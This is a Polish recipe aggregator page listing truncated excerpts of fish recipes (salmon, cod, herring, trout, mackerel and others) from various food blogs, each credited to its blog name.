Panga na parze 110

marchewkę, natkę, łyżkę masła, pora i pieprz. Gotujemy do wrzenia wywaru. Opłukaną rybkę umieszczamy w Kuchmistrzu ( ja mam taki z Tupperware) lub innym takim naczyniu do gotowania na parze. Rybę umieszczamy na sicie pojemnika i całość zalewamy wrzątkiem. Trzymamy pod przykryciem do 30 minut. Odcedzamy i wyciągamy zdrową i pyszną rybkę. Jest to idealny posiłek dla dzieci.  Smacznego

ClauditteMissCooking
Pstrąg 150

cukru 2 łyżki oleju ząbek czosnku sól do smaku kilka kropel cytryny Przygotowanie: Pstrąga umyć, osuszyć. Do środka włożyć płaski plasterek masła z posiekaną pietruszką. Doprawić do smaku. Smażyć rybę od zimnego oleju ( nie przyklei się do patelni ). Z obu stron, aż skórka będzie złotawa ( chyba, że ktoś nie lubi to krócej )  Posiekać sałatę. Do kubeczka wlać 2 łyżki

Gaździnka warzy
Kotleciki z Soli w koperkowym sosie 167

jogurt grecki sól, pieprz ząbek czosnku koperek świeży troszkę cukru Surówka: kapusta kiszona marchewka cebula sol, pieprz 3 łyżki oleju Przygotowanie: W misce wymieszać posiekaną pietruszkę, pora, zmiksowaną rybę. Doprawić do smaku solą, pieprzem i skropić sokiem z cytryny. Fasolkę ugotować i wystudzoną dodać do rybnej masy. Dosypać bułki tartej, wbić jajko. Kotleciki usmażyć na złoty kolor. Kapustę kiszoną pokroić

Gaździnka warzy
Dorsz z podgrzybkami 78

łyżka śmietany opakowanie podgrzybków sól, pieprz 50 ml białego półwytrawnego wina łyżka oleju Przygotowanie:  Podgrzybki podgotować w niewielkiej ilości wody, przyprawić, a na koniec zabielić łyżką śmietany.  Rybę pokroić na kawałki, podsmażyć na łyżce oleju. Podlać winem, kiedy odparuje wyłączyć ogień i posypać koperkiem... Smacznego

Gaździnka warzy
Mintaj w śmietanie z groszkiem 115

mniejsze kawałki. Na patelnię wlać śmietanę, dodać natkę i koperek. Mintaja doprawić solą i pieprzem, położyć na śmietanie i dusić z 2-3 min. Groszek odcedzić dodać do ryby. Wymieszać i na końcu skropić kilkoma kroplami soku z cytryny. Opcjonalnie dodać suszone pomidory. Smacznego

Gaździnka warzy
Śledzik z zieloną cebulką 87

Składniki: puszka filetów śledziowych w oleju kilka gałązek zielonej cebulki pieprz łyżeczka chrzanu Przygotowanie: Olej z puszki wylać, cebulkę pokroić. Rybę z cebulką wymieszać z chrzanem, przyprawić pieprzem do smaku..... Smacznego

Gaździnka warzy
Tatar z Matiasa 143

Składniki: 5 filetów Matiasa 2 czerwone cebule kilka kaparów kilka gałązek koperku 2 łyżeczki octu jabłkowego Przygotowanie: Jeśli ryba jest za słona, należy ją namoczyć w zimnej wodzie przez ok 1 godz. Cebulę i filety pokroić w drobniutką kostkę. Dodać 2 łyżeczki octu, kilka kaparów,2-3 łyżki oleju, posiekany koperek i oprószyć świeżo zmielonym pieprzem... Smacznego

Gaździnka warzy
Mintaj w sosie śmietanowym 164

cytryny pół szklanki śmietany sól koperek Przygotowanie: Masło rozpuścić, dodać mąkę i zasmażyć ciągle mieszając. Rozprowadzić zimnym bulionem, skropić sokiem z cytryny. Wymieszać ze śmietaną. posolić do smaku, włożyć rybę i zagotować. Posypać posiekanym koperkiem......... Smacznego

Gaździnka warzy
Śledź ala po kaszubsku z grzybami leśnymi 241

Podsmażamy na rozgrzanym oleju razem z cebulą. Zalewamy odrobiną wody i chwilę dusimy. Wszystkie składniki zalewy mieszamy i zagotowujemy. Do zalewy dodajemy podsmażone grzyby z cebulą. Gorącą zalewą zalewamy ryby. Odstawiamy w chłodne miejsce na około 1 dobę

Bon Appetit Małgorzaty
RYBA ZAPIEKANA ZE SZPINAKIEM I PIECZARKAMI 172

wszystkie składniki wyżej wymienione Całość wkładamy do piekarnika nagrzanego do 230°C. Pieczemy 15-20 minut aż pieczarki nabiorą rumianego - złotego koloru, Po wyjęciu z piekarnika posypujemy natką pietruszki. Ryba szpinak pieczarki...SMACZNEGO

w mojej kuchni
RYBA SMAŻONA 126

cytryny WYKONANIE  Filety rybne płuczemy,kroimy w kawałki, dowolnej wielkości. Roztrzepujemy jajko. Filety skrapiamy sokiem z cytryny. oprószamy  pieprzem i solą  do smaku.Panierujemy rybę w mące i jajku.Na patelni rozgrzewamy olej ,smażymy na oleju. Smażymy filety z obu stron aż lekko zrumienią. Po usmażeniu dajemy na ręcznik papierowy aby odsączyć zbędeny olej

w mojej kuchni
ŁOSOŚ POD RUKOLĄ 115

ryba prosto z kutra ,przepis od uprzejmej Pani ,żony Rybaka

w mojej kuchni
DORSZ z WARZYWAMI 146

Filety z dorsza posypać pieprzem i solą Przygotować miseczke z roztrzepanymi jajkami do ,których dodać otartą skórkę z cytryny,drugą z bułką tartą.Rybę maczać w jajku ,a nastepnie w bułce i smażyc na złoty kolor z obydwu stron po 3-4 minuty.Podac z warzywami . Smacznego

w mojej kuchni
Łosoś w sosie kolendrowo -cytrynowym,,,,Salmon with Cilantro -cytrynowym 130

Teraz rybe skrapiamy  sokiem wyciśniętym z 1/2 cytryny.Obkładamy posiekanym koperkiem,posypujemy kolendrą  i posypujemy pieprzem.Na wierzch układamy pokrojona w plastry marchewki  i ziemniaki.Spryskujemy oliwa truflową . Rybę zawijamy szczelnie w folię aluminiową i pieczemy w piekarniku około 25-35 minut w temp. 180 St. C.Pod koniec pieczenia posypujemy serem i zapiekamy 6-8minut

w mojej kuchni
Pieczony łosoś w glazurze musztardowo-miodowej z batatami i jarmużem 179

połowy cytryny 2 łyżki oliwy czosnkowej Przygotowujemy glazurę dla ryby.Płynny miód, musztardę, sok z cytryny, pieprz i czosnek i posiekany koperek energicznie mieszamy ze sobą. Filety ryby myjemy i osuszamy papierowym ręcznikiem. Naczynie żaroodporne skrapiamy oliwą. Wykładamy łososia i polewamy gotową glazurą. Bataty obieramy ze skórki, Kroimy w cienkie plasterki. Układamy obok łososia. Posypujemy je solą morską, pieprzem

Bon Appetit Małgorzaty
Pasta z ciecierzycy i makreli 177

oliwy z oliwek z dodatkiem chili łyżka wody   Do pojemnika blendera wkładamy ugotowaną ciecierzycę, oliwę z oliwek, łyżkę wody oraz szczyptę soli. Blenderujemy na gładki mus. Dodajemy rybę i ponownie blenderujemy, by składniki się wymieszały. Doprawiamy solą i pieprzem. Pastę możemy trzymać w lodówce nawet przez 3-4 dni.   Pyszna kanapka z pastą z ciecierzycy i makreli

Mango Papaja
Cytrynowy łosoś z orzechowym kuskusem 129

cytrynowej, płatków papryki, soli i białego pieprzu przygotowujemy marynatę. łososia dzielimy na trzy porcje i obtaczamy w marynacie. Łososia przygotowujemy na parze kilkanaście minut. Na drugim sitku umieszczonym ponad rybą układamy różyczki brokułu. Gotujemy aż będą półmiękkie. Bulion drobiowy podgrzewamy do wrzenia. Wsypujemy kuskus tak aby pozostało około 1 cm płynu nad kaszą. Pozostawiamy pod przykryciem aż napęcznieje. Orzechy włoskie

Pyry na Gaz
Ryby 245

Kuleczki rybne w zalewie Ryba po grecku Sałatka rybna z jajkiem Jajka z sałatką rybno warzywną Paprykarz z tuńczykiem Pstrąg z grilla Sałatka warstwowa z tuńczykiem Dorsz na szpinaku Sałatka z wędzonej makreli Sałatka z tuńczyka z groszkiem

Ala piecze i gotuje
Rolada z karpia 147

siostry. Polecam :-) Składniki: 1 karp 50 g rodzynek 50 g orzechów włoskich 50 g migdałów 3 łyżki śmietany Sól, pieprz do smaku. Sposób wykonania: Rodzynki namoczyć. Delikatnie oddzielić mięso ryby od skóry, usunąć ości. Mięso z karpia, namoczone rodzynki, śmietanę, orzechy i migdały rozdrobić w malakserze. Po zmiksowaniu i rozdrobnieniu wszystkich składników dodać sól i pieprz do smaku. Skórę

Na słodko lub wytrawnie
Maślany Dorsz z grilla 157

Dodać białe wino i całości pozwolić się gotować jeszcze przez 3 minuty. Następnie zdjąć z ognia i nieco ostudzić. Filety dorsza natrzeć oliwą z oliwek, posypać solą i pieprzem. Rybę umieścić na oczyszczonym i dobrze naoliwionym ruszcie grilla i grillować przez 8 minut. Po tym czasie natrzeć dorsza przygotowanym wcześniej sosem maślanym i grillować przez kolejne 6-7 minut. Dorsza

naRuszcie
Sałatka śledziowa fitness 353

zalewy odsączyć przez sitko, wybrać do wyrzucenia liście laurowe, ziele angielskie i nadmiar gorczycy, a cebulkę dodać do śledzi. Ananas i kukurydzę również odsączyć z soku i dodać do ryby. Na koniec dodać obrane orzechy, majonez, jogurt, musztardę i pieprz do smaku. Wymieszać wszystko razem. W razie potrzeby jeszcze doprawić (u mnie nie było to już konieczne, bo sałatka

Passions hobbies life
Łosoś atlantycki z parowaru 269

niej łososia. Po czym zostawiamy go w tej marynacie na pół godziny.  Po pół godzinie, która jak ktoś jest głodny, szczególnie w nocy, ciągnie się w nieskończoność ;) przekładamy rybę na folię aluminiową, wkładamy do parowaru i włączamy urządzenie na 15 minut :) Natkę pietruszki myjemy i kroimy, mix sałat przekładamy na talerz. Po 15 minutach łososia układamy na sałacie

Parowar Faceta
Pasta z wędzonej makreli 164

łyżki majonezu pęczek szczypiorku WYKONANIE Jajka ugotować na twardo, ostudzić i pokroić w kostkę. Makrelę obrać z ości i wrzucić rozdrobnioną do miski. Szczypiorek umyć i pokroić. Do ryby dodać jajka, szczypiorek, majonez i musztardę. Delikatnie wymieszać. Podawać z pieczywem. Majonez można zastąpić jogurtem naturalnym, dzięki czemu uzyskamy zdrowszą wersję pasty

Passions hobbies life
Dorsz w tymianku z warzywami 167

Starajmy się, aby ich nie przesmażyć. Powinny być jędrne i chrupkie. Doprawiamy je solą i papryką słodką. Usmażone odstawiamy. Na drugiej patelni rozkładamy papier do pieczenia i układamy porcje ryby skórą do dołu. Smażymy ok. 3 min. z obu stron. Na talerzu układamy usmażone warzywa, a na nich filety z dorsza. Smacznego

kulinarnyJa
Łosoś pieczony z koperkiem + dip jogurtowo-koperkowy 232

Łosoś to bardzo wdzięczna ryba, wystarczy do niej kilka prostych dodatków i wydobywa się z niej prawdziwy smak. W tej kwestii akurat lepiej mniej niż więcej, aby nie zabić jej smaku, dlatego tym razem wersja klasyczna z koperkiem. Składniki na 2-4 porcje 4 kawałki łososia Sól Pieprz (lub pieprz cytrynowy) Cytryna Koperek olej Dip: Pół pojemniczka jogurtu naturalnego Plasterek

Fabryka pomysłów
Zupa krem z ziemniaków i pieczonego czosnku z wędzonym pstrągiem i pesto 139

Kremowa zupa nie musi być nudna, ani przypominać papki dla niemowląt. Dodatki w postaci pesto z pietruszki i pistacji oraz wędzona ryba sprawią, że z pewnością będzie wyjątkowa. Nie musicie obawiać się czosnku, który w tej zupie jest delikatny i lekko słodki. To dzięki pieczeniu stracił swój ostry smak, a zyskał delikatną słodycz.   Składniki: Zupa: 400 g ziemniaków główka

Smakowity Blog Kulinarny
Koperty z ciasta filo z pstrągiem łososiowym, pomidorowym pesto i migdałami 231

wierzyłam własnym oczom. Ciasto filo! W końcu, doczekałam się po długim czasie poszukiwań :) Postanowiłam więc trochę z nim poeksperymentować. Jednym z efektów jest właśnie to danie. Myślę, że ryba wyszła lepiej niż oczekiwałam. Gorąco polecam (o ile będziecie mieć tyle szczęści co ja ze znalezieniem ciasta :))! Składniki (na 5 kopert): 5 arkuszy ciasta filo (45 x 36 cm) 2 filety

Zakręcony Widelec
Tarta / Zapiekanka z Ciasta Francuskiego z Łososiem i Szpinakiem 207

doprawiamy pieprzem oraz solą. Łososia kroimy w grubą kostkę, dodajemy po szczypcie soli, pieprzu oraz koperku. Skrapiamy sokiem z cytryny i dokładnie mieszamy starając się pokryć przyprawami każdy kawałek ryby. Mozzarellę (lub żółty ser) ścieramy na tarce, dodajemy rozbełtane jajka, odrobinę soli i pieprzu - dokładnie mieszamy. Dzielimy na dwie części. Formę na tartę (o średnicy ok. 25 cm) smarujemy tłuszczem

Słodka Strona
Filet z tuńczyka, pietruszkowe ptysie i sos holenderski 127

Składniki dla dwóch osób: 2 filety z tuńczyka pieprz cytrynowy Ptysie: 1/2 szklanka wody 50 g masła 1/2 szklanki mąki 2 jajka szczypta soli spory pęczek

My Culinary Art
Kotleciki z dorsza z sosem koperkowym 138

bułka 2 łyżki otrębów owsianych pieprz i sól bułka do panierowania oliwa do smażenia SOS łyżka masła łyżka mąki pszennej szklanka chudego mleka pęczek koperku sól i pieprz Przygotownie: RYBA Dorsza myję i osuszam ręcznikiem papierowym. Wyciągam ewentualne ości i wraz cebula i bułką mielę w maszynce do mięsa. Do zmielonych składników dodaje jajko i otręby oraz sól i pieprz

Magiczna kuchnia Darii
Pieczony dorsz prosto z polskiego morza 200

piątkowy obiad ryba! Świeży dorsz prosto z polskiego morza. Czytaj więcej

Ana Mari's world
Grillowany miecznik z sosem cytrynowym 145

lodówki na min. 1 godz. Sok z cytryny połączyć z drugą łyżeczką rozmarynu i oliwą z oliwek. Wymieszać i odstawić. Rozgrzać patelnię grillową i położyć na niej wcześniej osuszoną rybę. Grillować z obu stron po kilka minut.  Szpinak rozmrozić na patelni, pozwolić by woda odparowała, dodać przeciśnięty przez praskę pozostały czosnek, wymieszać i doprawić do smaku.  Miecznika podawać

Pasja Smaku
Tuńczyk w sosie teriyaki z puree ziemniaczanym z wasabi 129

Kolejny przepis ze strony Akademia Kulinarna , który podbił moje serce :) Do dania idealnie pasują szparagi, niestety ciężko je teraz dostać :( Zapraszam do gotowania! Składniki dla 4

My Culinary Art
WARSZTATY Z ALPRO – RELACJA 180

13 grudnia, w sobotę znów popędziłam jak na skrzydłach do Warszawy. Dzięki zaproszeniu od firmy ALPRO ( i również SANTE ) miałam możliwość wziąć udział w fantastycznych ( jak

Ostra na Słodko
Dorsz atlantycki w sosie na bazie jogurtu i pora 177

jogurtowy na bazie pora i dorsz atlantycki = zdrowy i lekki obiad Nieustannie szukam nowych pomysłów na rybę. W zamierzchłych czasach przygotowywałam takie sosy na bazie słodkiej śmietanki (której Ty możesz użyć), dziś jednak wybieram jogurt naturalny. Potrawy z nim są lżejsze, choć nadaje im zupełnie innego charakteru. Czytaj dalej

Kraina Tysiąca Smaków
Śledzie w słodkim sosie pomidorowym z kawałkami pomarańczowej papryki 291

Czy ja nie mam dość śledzi? nie, nie mam dość :) Śledzie uwielbiam po prostu, bo można je przygotowywać na tak wiele sposobów, że nie

Codzienna kuchnia niecodzienna
Śledzie w pomidorach 261

Śledzie jak co roku królują na naszym świątecznym stole. Oprócz nieśmiertelnych w oleju i śmietanie ostatnio pojawiają się wersje pomidorowe. Dzisiaj właśnie taka wersja, prosta klasyczna

Bernika - moj kulinarny pamietnik
Kotlety rybno – ziemniaczane 188

Dziś ma dla Was obiecany przepis w sam raz na piątkowy obiad. Danie łatwe … szybkie i niesamowicie smaczne. Kotlety te są świetnym pomysłem nie tylko

Ostra na Słodko
Kotlety śledziowe z ziemniakami – kuchnia śląska 309

Dziś mam dla Was nietypowy przepis wywodzący się z kuchni śląskiej. Taka odmiana od czasu do czasu na pewno fajnie zrobi naszym podniebieniom , a smak zachwyci

Ostra na Słodko
Smażone pierogi z łososiem, gorgonzolą i sosem bazyliowym 130

Od dłuższego czasu „ chodziły za mną „ pierogi. Co prawda lepienie ich nie należy do moich ulubionych czynności , ale jak już się za nie biorę tak wszystko

Ostra na Słodko
Krokiety z łososiem i mozzarellą 165

Łosoś firmy Suempol , którego ostatnio prezentowałam tak mi posmakował , że postanowiłam popędzić do sklepu po nową dostawę! Połączyłam go z tym, z czym lubię najbardziej –

Ostra na Słodko
TARTA CZEKOLADOWA … LODY Z WIŚNIAMI … MIĘTUS , KURCZAK …. I MANDAT! – czyli TYDZIEŃ RESTAURACJI Z GROUPON W RESTAURAC 166

się porcji nowoczesno/restauracyjnych … a otrzymaliśmy porcje „domowe” ( co jest oczywiście na plus! + ). . . Miętus: Pierwszy raz miałam okazję spróbować miętusa – delikatna , a zarazem nie rozpadająca się ryba … fantastycznie doprawiona … o wyrazistym aromacie ziół …. Podane na obłędnym!!! purre ziemniaczanym … z dodatkiem tagliatelle z warzyw. Do tego fantastyczny kremowy sos, który był taką kropką

Ostra na Słodko
Roladki z pstrąga łososiowego i szynki parmeńskiej z kaszą gryczaną smażoną z gruszką, cebulką i orzechowami włoskimi 207

Uwielbiam rybę w każdej postaci, ale ta była wyjątkowo smaczna. Polecam kochani! Wbrew pozorom to dość szybki obiad a mimo to bardzo elegancki i wykwintny. Składniki: 350-400 gram filetu z pstrąga łososiowego (uwaga, pozbawiamy ości gdyż są dość cienkie i drobne a bardzo "upierdliwe") 4 plastry szynki parmeńskiej (lub prosciutto, serrano) sól pieprz ćwiartka cytryny+ ćwiartka

Mango Papaja
Domowa Pizza z Łososiem, Oliwkami i Kaparami 161

godziny). Łososia nacieramy odrobiną soli oraz pieprzu i podsmażamy na maśle, na bardzo małym ogniu. Łosoś nie musi być całkowicie usmażony. Mięso może pozostać miejscami surowe, ponieważ pamiętajmy, że ryba będzie się jeszcze piekła w piekarniku, a zbyt "wysuszony" łosoś nie jest smaczny. Łososia smażymy jedynie do momentu gdy mięso będzie się "rozwarstwiać", tak aby można było je podzielić

Słodka Strona
Wigilijne śledzie w śmietanie 381

Bez śledzia w śmietanie nie ma świąt, przynajmniej w  moim domu. Przygotowuję go najprościej jak się da, z cebulką i jabłuszkiem. W ciągu roku dodaję

Codzienna kuchnia niecodzienna
Pieczony łosoś z masłem czosnkowo-paprykowym 163

drugiej strony, 12 potraw dla dwóch osób to chyba i tak za dużo. Ale że w święta rybka być musi, padło na łososia.  Łosoś jest jedną z tych ryb, która zasługuje na szczególne uznanie z naszej strony. Jest bardzo obfity w kwasy tłuszczowe, witaminy z grupy B, jod i potas. Najzdrowiej jest przygotować go na parze lub upiec

W poszukiwaniu inspiracji
Makaron penne z tuńczykiem i curry 242

Makaron penne z tuńczykiem i curry... Makaronowe rurki oblepione śmietanowym sosem. Dobrze przyprawione curry. Z kawałeczkami tuńczyka. Proste, smakowite i szybkie danie z rybą morską. Zapraszam! Składniki: Puszka tuńczyka w kawałkach w oleju; 250 g makaronu penne; 330 g kwaśnej, gęstej śmietany o zawartości tłuszczu 18%; 1 czubata łyżeczka curry; 4 ząbki czosnku; Olej/oliwa do smażenia; Sól; Pieprz. Sposób przygotowania

Gospodyni Miejska
SZCZUPAK POD GALARETKĄ 151

bulionu, juz nie zagotowujemy tylko podgrzewamy.Studzimy pulpety rybne, każdy pulpety kroimy w dość grube plastry, układamy na półmisku obłożonym cytrynami.Zalewamy przestudzoną, tężejąca juz galaretką. Kiedy galaretka całkowicie stęzeje na rybie, możemy połozyc kolejną warstwę galaretki

Z Majeczką w kuchni
Łosoś faszerowany masłem ziołowym zapiekany z ziemniakami 186

oraz solą i pieprzem. Filety z łososia myjemy i wycieramy. Odwracamy skórką do góry, wykonujemy 3 poprzeczne nacięcia, które faszerujemy przygotowanym masłem. Upieczone warzywa posypujemy serem, układamy między nie rybę i pieczemy jeszcze przez 15. Smacznego

Kolizje Smaków
Roladki z dorsza z nadzieniem serowym 207

Bardzo lubimy ryby, jednak by się nam nie znudziły staram się podawać je pod różną postacią. Tym razem przyrządziłam rybkę w lżejszej, pieczonej wersji z delikatnym serowym nadzieniem pełnym aromatycznych ziół. Danie okazało się naprawdę bardzo smaczne a do tego mało kaloryczne:) Składniki: 700g filetu z dorsza, sok z 1/2 cytryny,  100g serka kremowego Apetina z czosnkiem i ziołami

Z miłości do słodkości
DOMOWE PALUSZKI RYBNE 155

kolejny przepis, który podpatrzyłam na blogu Margarytki  TUTAJ Prościutki przepis odmienił wygląd standardowych kostek rybnych :) Składniki: kostki z mintaja 2 jajka bułka tarta odrobina soli przyprawa do ryb majeranek olej do smażenia Wykonanie: Kostki rybne przekładam poprzedniego dnia z zamrażarki do lodówki. Są wtedy delikatanie rozmrożone, ale nie do końca. Każdą kostkę dzielimy na 3 części , uzyskując

Walijskie Pichcenie
ŚLEDZIE W POMIDOROWEJ ZALEWIE 411

kwaśnej - bo taką właśnie lubię najbardziej.  Przepis na zalewę jest u mnie taki "żelazny", korzystam z niego zarówno do zalewania śledzi jak i różnego gatunku usmażonych ryb. Składniki: 800g matiasów 3 cebule 200g pieczarek 4 ogórki konserwowe łyżka oleju Zalewa: 1 szkl. wody 1/4 szkl. oleju  2 łyżki octu 1 łyżka cukru 2 łyżki ketchupu pikantnego pieprz sól

Walijskie Pichcenie
Kminkowy szczupak na duszonej kapuście 175

Połączenie ukochanych smaków mojej Mamy i moich. Mama uwielbia duszoną kapustę. Obie lubimy ryby ( a szczupak zajmuje w tym lubieniu poczesne miejsce). A ja przepadam za kminkiem. Okazało się, że szczupak doprawiony mielonym kminkiem jest bardzo smaczny. Mamy więc potrawę , która zadowala nas obie. Czytaj więcej

Buniabaje w kuchni
Sałatka rybna z jajkiem 332

Same ryby w puszce są trochę nudne, ale dodając kilka składników możemy wyczarować pyszny dodatek do chleba. Ja dosyć często robię różne kombinacje w składnikach i za każdym razem jest smacznie. Tym razem prosta i szybka wersja na bazie filetów z śledzia w sosie pomidorowo paprykowym. Składniki: 2 puszki filet ze śledzia z sosie pomidorowym z papryką GRAAL 2 jajka

Ala piecze i gotuje
ziemniaczane chrupiące placki na oleju rzepakowym ze śledziem w śmietanie podane... 193

robię co jakiś czas w ciągu roku.......polecam.......SMACZNEGO!!! „Olej rzepakowy jest naturalnym źródłem kwasów omega – 3 i dlatego używam do wszystkich potraw gotowanych, smażonych, pieczenia ciast, mięs, ryb, zapiekanek....również używam olej rzepakowy do kąpieli, gdyż znakomicie łagodzi objawy mojej suchej skóry

W Mojej Kuchni Lubię
kotlety mielone z dorsza... 122

dobrze do kotletów mielonych i cenowo jest taniej od filetów całych jeśli w kawałkach dorsza są ości to usunąć i razem z cebulą dobrze zmiksować w pojemniku blendera przełożyć rybę do miski i dodać cebulę pokrojoną drobno, posiekaną natkę pietruszki, kucharka, pieprz biały, jajko, tartą bułkę dobrze wszystko wyrobić i odstawić na 30 minut, bułka tarta napęcznieje i masa będzie

W Mojej Kuchni Lubię
Knedle rybne z sosem koperkowym 138

łyżka masła 1 łyżka mąki 200 ml bulionu  2 łyżki kwaśnej śmietany garść kopru  pieprz Wykonanie: Filety kroimy w kostkę. Cebulę i czosnek szklimy na oliwie, dodajemy rybę i dusimy ok 2 minut. Zdejmujemy z ognia, dodajemy bułkę tartą, doprawiamy vegetą i pieprzem.Gdy masa ostygnie lepimy z niej 12 kulek wielkości orzecha włoskiego i wstawiamy do lodówki

Anioły w kuchni
Sałatka z wędzonym pstrągiem 204

Chrupiące sałatka o każdej porze roku, zawsze świeża i pełna witamin. Nie wzbudza wyrzutów sumienia związanych z nadmiarem kalorii;) Tak wiec reasumując...szybka, zdrowa , dietetyczna na lunch z dodatkiem ryby... Składniki: 1 opakowania mix sałat, 120 g wędzonego pstraga, garść rukoli, łyżka czarnego sezamu, 2 duże rzodkiewki, 1 kłącze selera naciowego, 1/2 zielonego ogórka, Dresing orientalny; 8 łyżek oliwy

Anioły w kuchni
Nototenia na parze z cytrynowym sosem 151

pojemnika szybkowaru lub dolnego garnka zestawu po zakończeniu gotowania to doskonała baza na lekki sos lub zupkę do popicia. Przecież do tej wody właśnie skapują wszystkie smaki z warzyw , ryb czy mięsa gotowanych piętro wyżej. Czytaj więcej

Buniabaje w kuchni
Francuska niespodzianka. 155

osobny "pakuneczek", lub zrobić jeden długi i kroić przy stole. 300g  łososia( filet bez skóry) 100g serka ziołowego np.Tartare 6 szt. szparagów lub więcej ze słoika przyprawa do ryb Łososia obsypać przyprawą. Szparagi lekko przesmażyć na maśle. Na środek ciasta francuskiego wyłożyć serek, na serku ułożyć szparagi i następnie filet łososia. Boki ciasta zawinąć na nasze nadzienie. Wierzch posmarować

Kulinarny karnet Christophera
Stek z rekina. 145

każdym filecie położyć listek limonki lub skropić sokiem . Smażyć na oleju z masłem po 5-7 min z każdej strony. Czas smażenia zależy od grubości steku. Sos norweski do ryb. 150 ml kremówki 100 g masła 1 łyżeczka soku z limonki lub cytryny sól, pieprz do smaku natka pietruszki Śmietankę gotować , aż trochę zgęstnieje ,dodać masło ,rozpuścić i dodać

Kulinarny karnet Christophera
Łosoś marynowany w winie. 117

podaniem wyjąć filety z lodówki ,osączyć i ułożyć na półmisku. Można przygotować mini kanapeczki. Marynowany łosoś dobrze smakuje z chrzanem w śmietanie. Uwaga! Do marynowania nadają się jedynie świeże ryby

Kulinarny karnet Christophera
Wigilijna zupa z sandacza z pomarańczą. 152

łyżeczki imbiru świeżego 1  liść laurowy 1/2 łyżeczki majeranku 50 ml wina wytrawnego 1 papryka czerwona 1/2 kg pomidorów 125 ml przecieru pomidorowego 600ml wywaru z ryby 2 łyżeczki cukru brązowego ,drobnego 2 pomarańcze 2 łyżki natki pietruszki sól, pieprz Z głowy i kręgosłupa ugotować wywar . W 2 łyżkach wrzątku namoczyć szafran. W rondlu o grubym dnie rozgrzać olej

Kulinarny karnet Christophera
Dorsz na warzywach z cytrynką w papilotach. 168

położyć  plasterek cytryny ,polać 1 łyżką śmietanki i posypać pietruszką i zamknąć  „papilot” .Piec w nagrzanym piekarniku przez  10-15min. Czas uzależniam od grubości ryby. Dania w „papilotach” można przygotować wcześniej ,trzymać w lodówce i piec wtedy ,kiedy przyjdzie pora. Potrawy w papilotach zatrzymują aromaty i  co ważne ,szczególnie dla pań, nie brudzą naczyń. Osobiście

Kulinarny karnet Christophera
Filet z dorsza w ogórkowym ryżu. 148

ryżu, lekko posolić i posypać sporo pieprzem. Gotować pod przykryciem jeszcze 10 min. Filety opłukać, osuszyć .Koperek posiekać. Śmietanę wymieszać z sokiem z cytryny i żółtkiem. Posolić do smaku. Rybę ułożyć na ryżu ogórkowym, oprószyć pieprzem, posypać koperkiem i polać wymieszaną śmietaną. Dusić pod przykryciem 10 minut. Udekorować pokrojonym pomidorem i zajadać

Kulinarny karnet Christophera
Grillowany łosoś z sosem agrestowym. 188

Grilled salmon with gooseberry sauce. Składniki. 40 dag filet z łososia Marynata do łososia. 1 łyżeczka przyprawa do ryb 1 łyżka olej 0,5 łyżeczki papryka 1 ząbek czosnku bazylia 1 łyżeczka sok z cytryny Sos agrestowy. 10 dag agrest 3 łyżki woda 1 łyżeczka miód 50 ml śmietana 36% sól Dodatkowo. 20 dag fasolka szparagowa 2 łyżki bułka tarta

Kulinarny karnet Christophera
Strąki papryki z nadzieniem z łososia i sosem paprykowym 159

lekko obsmażyć na oleju. Papryki wyłożyć na półmisek, wylać 3 łyżki sosu dla ozdoby ,a resztę podać w sosjerce. Rada. Jeżeli zamiast łososia użyjemy dorsza, to proponuję przesmażyć rybę z cebulką

Kulinarny karnet Christophera
Sałatka z kuskusem i łososiem wędzonym 352

codziennie rano gotuję uprzednio przygotowaną mieszankę. W dni szkolne, poprzedniego wieczoru, najczęściej przygotowuję sobie również obiad. Tutaj nieoceniona jest rola wspomnianego lunch box'a. Niezależnie czy planuję zjeść kurczaka , rybę , sałatkę czy nawet omlet - wszystko wieczorem zostaje przygotowane i szczelnie zamknięte w pudełeczku ląduje w lodówce. Rano pozostaje spakować swoje pyszności do torby i cieszyć się świeżym posiłkiem. Pozwala

peanutbuttermonster
Sałatka z wędzonej makreli 1086

Wędzona ryba jest pyszna i zdrowa, jeśli zrobimy z niej szybką i pyszną sałatkę to mamy danie doskonałe. Można ją zrobić w kilka minut :), do tego pyszny domowy chleb i można siadać do stołu. Składniki na sałatkę: 2 małe wędzone makrele  4-5  jaj 15 dag startego żółtego sera 2 dymki razem z zieloną częścią kilka łyżek majonezu

Apetyczna babeczka
Placuszki z dyni z dorszem w słodkim sosie żurawinowym! 164

czubate łyżki mąki pszennej - olej rzepakowy do smażenia - 2 łyżki mleka - 1 łyżka jogurtu - kmin zmielony W/w składniki wymieszaj w misce na gęstą masę. Smaż na gorącym oleju. Rybę oprósz solą. Ułóż w naczyniu wysmarowanym masłem, polej 1 łyżką klarowanego masła, 1 łyżką pasty pomidorowej, 3 łyżkami wody, 1 łyżeczką soku z cytryny, 1 łyżką miodu, posyp garścią żurawin, przykryj

SMYKWKUCHNI
Łosoś pieczony 225

Składniki na dwie porcje. Składniki: 600 g łososia ze skórą 1 cytryna 1 łyżka oliwy z oliwek 2 łyżki przyprawy do ryb (lub ulubionej mieszanki przypraw) Przepis: Łososia myjemy, osuszamy papierowym ręcznikiem i dzielimy na trzy części. Następnie odkrajamy 4 plasterki cytryny i z pozostałej części wyciskamy sok. Sokiem tym polewamy łososia. Oliwę z oliwek łączymy z ulubionymi przyprawami

Emcia Pichci
Najlepszy śledzik według mojej mamy 339

świeża ryba prosto z kutra :) Nie mogłabym się nią zachwycać gdyby nie mama mieszkająca w Gdyni, bo nie ma co się oszukiwać, że te mrożone z marketu są pyszne. Ten śledzik jest idealny do ziemniaków w mundurkach bądź jako sałatka do czegoś mocniejszego :) Jestem pewna, że znacie tą wersję, ale nie ukrywam, że moja mama robi najlepsze śledzie! Składniki

Magiczne Życie Marty
Sałatka śledziowa - wersja dietetyczna z jogurtem 2894

niego śledź istnieje wyłącznie w postaci z olejem. Jogurt do śledzia? – świętokradztwo niesłychane! Rzodkiewka i ogórek? - co za wymysły? A niesłusznie, bo wyjątkowo ciekawie kontrastują one ze słoną rybą.   Składniki na porcję dla 1 żarłocznej osoby - czyli mnie - lub 2 mniej głodnych: 1 płat śledzia solonego z zalewy (100g)   4-5 dużych rzodkiewek (90g)   2 średnie ogórki

Grunt to przepis!
KOTLETY Z MAKRELI I ZIEMNIAKÓW. 225

